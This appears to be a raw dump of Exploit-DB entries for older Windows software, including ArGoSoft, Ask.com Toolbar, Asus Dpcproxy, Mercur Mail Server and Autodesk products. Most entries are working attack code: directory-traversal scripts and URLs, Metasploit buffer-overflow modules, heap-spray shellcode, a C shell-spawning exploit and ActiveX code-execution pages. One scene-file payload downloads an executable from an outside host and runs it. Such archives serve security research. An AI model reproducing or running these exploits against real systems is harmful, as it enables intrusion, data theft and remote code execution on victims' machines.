deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21591
Description: ArGoSoft 1.8 Mail Server - Directory Traversal
Type: remote
Platform: windows
Date: 2002-07-06
Author: team n.finity

Exploit:
source: https://www.securityfocus.com/bid/5144/info

ArGoSoft Mail Server is an STMP, POP3 and Finger server for Microsoft Windows environments. ArGoSoft has a built in web server to enable remote access to mail.

A directory traversal issue has been reported in the web server, which could allow remote users access to all files residing on the host.

This is accomplished by submitting a specially crafted request containing '/..' character sequences to a specific directory.

This issue is reported to exist in ArGoSoft Mail Server 1.8.1.5, earlier versions may also be affected by this issue.


#!/bin/sh
#
# released on 06/07/2002 by team n.finity <nfinity@gmx.net>
# find us at http://nfinity.yoll.net/
#
# argospill.sh

HOST=$1
USER=$2
DOMAIN=$3

startpro()
{
    echo -e "\nSpilling user $USER @ $DOMAIN, host $HOST (Pro)\n"
    URL=/_users/$DOMAIN/$USER/_tempatt/../userdata.rec
    /usr/bin/lynx -dump http://$HOST$URL
}

startplus()
{
    echo -e "\nSpilling user $USER, host $HOST (Plus)\n"
    URL=/$USER/_tempatt/../userdata.rec
    /usr/bin/lynx -dump http://$HOST$URL
}

startboth()
{
    echo -e "\nSpilling host $HOST (Plus / Pro)\n"
    URL=/images/../_logs/`date -d '-1 day' +%Y-%m-%d`.txt
    /usr/bin/lynx -dump http://$HOST$URL
}

usage()
{
    echo -e "\nUsage:\n"
    echo "Both - $0 <host>"
    echo "Pro  - $0 <host> <user> <domain>"
    echo "Plus - $0 <host> <user>"
    echo -e "\nExample:\n"
    echo "Both, images dir - $0 www.test.com"
    echo "Plus, no dom req - $0 www.test.com me"
    echo "Pro, default dom - $0 www.test.com me _nodomain"
    echo "Pro, virtual dom - $0 www.test.com me test.com"
}

echo "Argospill 1.0 by Team N.finity"

if [ -n "$HOST" ]; then
    if [ -n "$USER" ]; then
        if [ -n "$DOMAIN" ]; then
            startpro
        else
            startplus
        fi
    else
        startboth
    fi
else
    usage
fi
Exploit-DB #22604
Description: ArGoSoft 1.8.x - Authentication Bypass
Type: remote
Platform: windows
Date: 2003-05-15
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7608/info

A vulnerability has been reported for ArGoSoft Mail Server FreeWare version. The problem occurs due to the FreeWare version of ArGoSoft failing to carry out sufficient authentication before granting access to the user management interface. As a result, an unauthorized user may be capable of tampering with sensitive server settings or user information. Access to this interface may also allow for the disclosure of sensitive information such as username or passwords. 

http://www.target.org/useradm
Exploit-DB #11765
Description: ArGoSoft FTP Server .NET 1.0.2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-03-15
Author: dmnt

Exploit:
# Exploit Title: ArGoSoft FTP Server .NET v.1.0.2.1 directory traversal
# Date: 16.03.2010
# Author: dmnt
# Software Link: http://www.argosoft.com/files/apps/FtpServerSetup.msi
# Version: ArGoSoft FTP Server .NET v.1.0.2.1
# Tested on: Windows 7
# Code :
CWD ...
250 Requested file action OK, completed
XPWD
257 "/.../" is working directory
CWD ...
250 Requested file action OK, completed
XPWD
257 "/.../.../" is working directory
Exploit-DB #23318
Description: Ashley Brown iWeb Server - Encoded Backslash Directory Traversal
Type: remote
Platform: windows
Date: 2003-10-31
Author: cr-secure.net

Exploit:
source: https://www.securityfocus.com/bid/8943/info

It has been reported that iWeb Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '..%5C' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://127.0.0.1/..%5C..%5C..%5C.. %5C..%5C..%5C/winnt/win.ini

http://127.0.0.1/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/system32/registry.inf
Exploit-DB #16557
Description: Ask.com Toolbar - 'askBar.dll' ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ask_shortformat.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
				An attacker may be able to excute arbitrary code by sending an overly
				long string to the "ShortFormat()" method in askbar.dll.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-5107' ],
					[ 'OSVDB', '37735' ],
					[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
					[ 'Windows 2000 Pro English ALL',       { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
				],
			'DisclosureDate' => 'Sep 24 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		filler = rand_text_alpha(target['Offset'])
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh + rand_text_alpha(payload.encoded.length)

		# Build out the message
		content = %Q|<html>
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.ShortFormat = #{strname}
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #4452
Description: Ask.com/AskJeeves Toolbar Toolbar 4.0.2.53 - ActiveX Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-24
Author: Joey Mengele

Exploit:
<html>

<SCRIPT language="javascript">

// This is new technique I invent call 'heap fill attack'

var str0ke = 0x0d0d0d0d;

var sucks = unescape( // Launch the system calculator 100 times because what else?

                      // This code currently not work on Solaris/Sparc

        "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +

        "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +

        "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +

        "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +

        "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +

        "%uFF57%u63E7%u6C61%u0063");

var dick = 0x400000;

var j0hnson = sucks.length * 2;

var spraySlideSize = dick - (j0hnson+0x38);

var spraySlide = unescape("%u9090%u9090");

spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (str0ke - 0x400000)/dick;

memory = new Array();for (i=0;i<heapBlocks;i++)

{memory[i] = spraySlide + sucks;}

try{

gadi = new ActiveXObject( 'AskJeevesToolBar.SettingsPlugin.1' );

}

catch(evron)

{

alert(evron);

}

netdev = "A";

while (netdev.length != 0x5e0)

netdev += "A";

netdev += unescape("%0d%0d%0d%0d");

gadi.ShortFormat = netdev;

function getSpraySlide(spraySlide, spraySlideSize)

        {while (spraySlide.length*2<spraySlideSize){

        spraySlide += spraySlide;}

        spraySlide = spraySlide.substring(0,spraySlideSize/2);

        return spraySlide;}

</script>

</html>

# milw0rm.com [2007-09-24]
Exploit-DB #25016
Description: ASP2PHP 0.76.23 - Preparse Token Variable Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Qiao Zhang

Exploit:
source: https://www.securityfocus.com/bid/12014/info

asp2php is prone to a buffer overflow vulnerability. This issue is exposed when the application is used to convert an ASP file to PHP. The particular issue is related to parsing of tokens in ASP files. Since ASP files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation would allow for execution of arbitrary code in the context of the user running the application.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25016.zip
Exploit-DB #16425
Description: Asus Dpcproxy - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: asus_dpcproxy_overflow.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Asus Dpcproxy Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
					It should be vulnerable until version 2.0.0.24.
					Credit to Luigi Auriemma
			},
			'Author'         => 'Jacopo Cervini',
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2008-1491' ],
					[ 'OSVDB', '43638' ],
					[ 'BID', '28394' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 21 2008'))

		register_options([Opt::RPORT(623)], self.class)

	end

	def exploit
		connect

		sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
		sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
		sploit << make_nops(50)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		select(nil,nil,nil,3) # =(

		handler
		disconnect
	end

end
Exploit-DB #15438
Description: AT-TFTP Server 1.8 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-11-06
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# AT-TFTP Server is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable TFTP commands are:
# * GET 	- Read 	File
# * PUT 	- Write File
#-----------------------------------
# Vulnerability Title: AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability
# Date: 05/11/2010
# Author: Pr0T3cT10n
# Software Link: http://www.alliedtelesis.co.nz/support/rapier/downloads/at-tftpd.exe
# Affected Version: 1.8
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.


C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../../boot.ini C:\boot.txt

Transfer successful: 221 bytes in 1 second, 221 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>
Exploit-DB #20647
Description: Atrium Software Mercur Mail Server 3.3 - EXPN Buffer Overflow
Type: remote
Platform: windows
Date: 2001-02-23
Author: Martin Rakhmanoff

Exploit:
// source: https://www.securityfocus.com/bid/2412/info

Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.

If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account. 

/*
 MERCUR Mailserver 3.3 Remote Buffer Overflow
 Tested on Win2K AS SP1 with MERCUR SMTP-
Server v3.30.03
 Martin Rakhmanoff
 martin@direct.spb.ru
*/

#include <winsock2.h>
#include <stdio.h>

/* \x63\x6D\x64\x2E\x65\x78\x65 - simply 'cmd.exe' */
char shellcode[] =
 "\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77
\xFF\xD0\x33\xDB\x53"
 "\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64
\x2E\x65\x78\x65\x0D\x0A";
/*
In SoftICE bpx 001b:00418b65 - here eip is restored
with overwritten
value...
*/

int main(int argc, char * argv[]){

 int i;
 char sploit[512];
 char buffer[512];

 WSADATA wsaData;
 SOCKET  sock;
 struct sockaddr_in server;
 struct hostent *hp;

 WSAStartup(0x202,&wsaData);
 hp = gethostbyname("arena");
 memset(&server,0,sizeof(server));
 memcpy(&(server.sin_addr),hp->h_addr,hp-
>h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(25);
 sock = socket(AF_INET,SOCK_STREAM,0);
 connect(sock,(struct sockaddr*)&server,sizeof
(server));

 sploit[0]='E';
 sploit[1]='X';
 sploit[2]='P';
 sploit[3]='N';
 sploit[4]=0x20;


 for(i=5;i<137;i++){
  sploit[i]=0x41;
 }

 // Return address
 //77E87D8B

 sploit[137]=0x8B;
 sploit[138]=0x89;
 sploit[139]=0xE8;
 sploit[140]=0x77;

 for(i=0;i<sizeof(shellcode);i++){
  sploit[i+141]=shellcode[i];
 }

 recv(sock,buffer,512,0);

 send(sock,sploit,173,0);

 closesocket(sock);
 WSACleanup();

 return 0;
}
Exploit-DB #33705
Description: Authentium Command On Demand ActiveX Control - Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2010-03-04
Author: Nikolas Sotiriu

Exploit:
source: https://www.securityfocus.com/bid/38544/info

The CSS Web Installer ActiveX control in Authentium Command On Demand Online scanner is prone to multiple buffer-overflow vulnerabilities.

An attacker can exploit these issues by enticing a victim to view a malicious webpage. Successful exploits will allow the attacker to execute arbitrary code within the context of the application that uses the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

Command On Demand CSS Web Installer ActiveX 1.4.9508.605 is vulnerable; other versions may also be affected.

Note: Reports indicate that the vendor no longer supports this product; vendor patches are not expected to be released. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33705.zip
Exploit-DB #33272
Description: Autodesk 3ds - Max Application Callbacks Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2009-10-23
Author: Sebastian Tello

Exploit:
source: https://www.securityfocus.com/bid/36634/info

Autodesk 3ds Max is prone to a vulnerability that lets attackers execute arbitrary commands in the context of the vulnerable application.

This issue affects the following:

3ds Max 6 through 9
3ds Max 2008 through 2010

Other versions may also be vulnerable. 

The following proof-of-concept code is available:

callbacks.addScript #filePostOpen ("DOSCommand(\"calc.exe\")") id:#mbLoadCallback persistent:true
Exploit-DB #6630
Description: Autodesk DWF Viewer Control / LiveUpdate Module - Remote Code Execution
Type: remote
Platform: windows
Date: 2008-09-30
Author: Nine:Situations:Group

Exploit:
<!-- 
Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit
by Nine:Situations:Group::bruiser 
site: http://retrogod.altervista.org/
tested against IE6

tested software:  Revit Architecture 2009 sp2
                  Autodesk Design Review 2009 (which also comes with Revit)


dll settings (both):
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class 
(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method 
which allows to store locally files with arbitrary extension.
The second one is related to the ApplyPatch() one inside the UpdateEngine
class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to launch an arbitrary 
executable by the second argument. Note, that the first one, alone, allows
arbitrary code execution. The impact of the second one is limited if you cannot 
specify command arguments or launch a file of yours.

The embedded dwf file (located at the url http://retrogod.altervista.org/suntzu.dwf)
has been created modifying an existing one, replacing a .png resource file with 
a vbscript shell through the following script (note the PCLZIP_OPT_NO_COMPRESSION flag,
this has been used to preserve the code, note also the dwg files are
essentially zips) :

<?php
    //library:
    //http://www.phpconcept.net/pclzip/index.en.php#download
    include_once('pclzip.lib.php');

    $archive = new PclZip('suntzu.dwf');
     
    //modify path
    $list = $archive->add("com.autodesk.dwf.ePlot_CD186DAA[PII_REDACTED]B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);
    
    if ($list == 0) {
      echo "ERROR : ".$archive->errorInfo(true);
    }
?> 

take a look to suntzu.dwf with an hex-editor...
This exploit launch calc.exe but you can embed your own vbscript shell
and extended shell commands, by using the php code given.
-->
<HTML>
<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
WIDTH="640" HEIGHT="480"
id='CExpressViewerControl' >
<PARAM NAME="Src"
VALUE="http://retrogod.altervista.org/suntzu.dwf">
</OBJECT> 
<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B' 
id='UpdateEngine' />
</OBJECT>
<script type="text/javascript">
<!-- 
   strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try
{
   CExpressViewerControl.SaveAS (strPatchFile); 
}
catch(e)
{
   document.write("impossible to save suntzu.hta ...");
}
finally
{
}
   strProductCode="whatever" ;

try
{
   UpdateEngine.ApplyPatch (strProductCode , strPatchFile);
}
catch(e)
{
   document.write("impossible to execute suntzu.hta ...");
}
finally
{
}

--> 
</script>

# milw0rm.com [2008-09-30]
Exploit-DB #33273
Description: Autodesk SoftImage 7.0 Scene - '.TOC' File Remote Code Execution
Type: remote
Platform: windows
Date: 2009-11-23
Author: Diego Juarez

Exploit:
source: https://www.securityfocus.com/bid/36637/info

Autodesk Softimage is prone to a remote code-execution vulnerability.

Successful exploits will allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

<PostLoadScript>
      <Language>JScript</Language>
      <Function></Function>
      <Script_Content>
    <![cdata[
var s=new ActiveXObject('WScript.Shell');
var o=new ActiveXObject('ADODB.Stream');
var e=s.Environment('Process');
var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
var b=e.Item('TEMP')+'agent.exe';
var x=new ActiveXObject('Microsoft.XMLHTTP');
//x=new ActiveXObject('MSXML2.ServerXMLHTTP');
if(!x)
    exit(0);
x.open('GET',u,0);
x.send(null);
o.Type=1;
o.Mode=3;
o.Open();
o.Write(x.responseBody);
o.SaveToFile(b,2);
s.Run(b,0);
    ]] >
  </Script_Content>
  </PostLoadScript>
Exploit-DB #30816
Description: Autonomy KeyView Lotus 1-2-3 - File Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2007-11-26
Author: Sebastian

Exploit:
source: https://www.securityfocus.com/bid/26604/info

Autonomy KeyView is prone to multiple buffer-overflow vulnerabilities.

Successfully exploiting these issues could allow an attacker to execute arbitrary code in the context of the user running the application.

Multiple applications incorporate the vulnerable KeyView component, so they are also considered vulnerable to these issues.

NOTE: These issues are similar to those described in BID 26175 (Autonomy KeyView Multiple Buffer Overflow Vulnerabilities) but affect a different component.

from sys import argv
from struct import pack

def createMaliciousFile(filename):
   seh_offset = 0x9c4
   jumper     = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased)

   shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3

   content  = '\x00\x00' # header record type
   content += '\x1a\x00' # header length
   content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01'
   content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00'
   content += '\x1b\x00' # vulnerable record type
   payload  = ''
   payload += '\x90' * (seh_offset - 4) #others too
   payload += '\xeb\x06\x90\x90'  # jmp six bytes forward
   payload += pack('<L', jumper)
   payload += shellcode

   content += pack('<H', len(payload))
   content += payload

   fd = open(filename, 'wb')
   fd.write(content)
   fd.close()

if len(argv) is not 2:
   print '[-] Must specify a filename. Remember to change the pop pop ret address! :)'
else:
   createMaliciousFile(argv[1])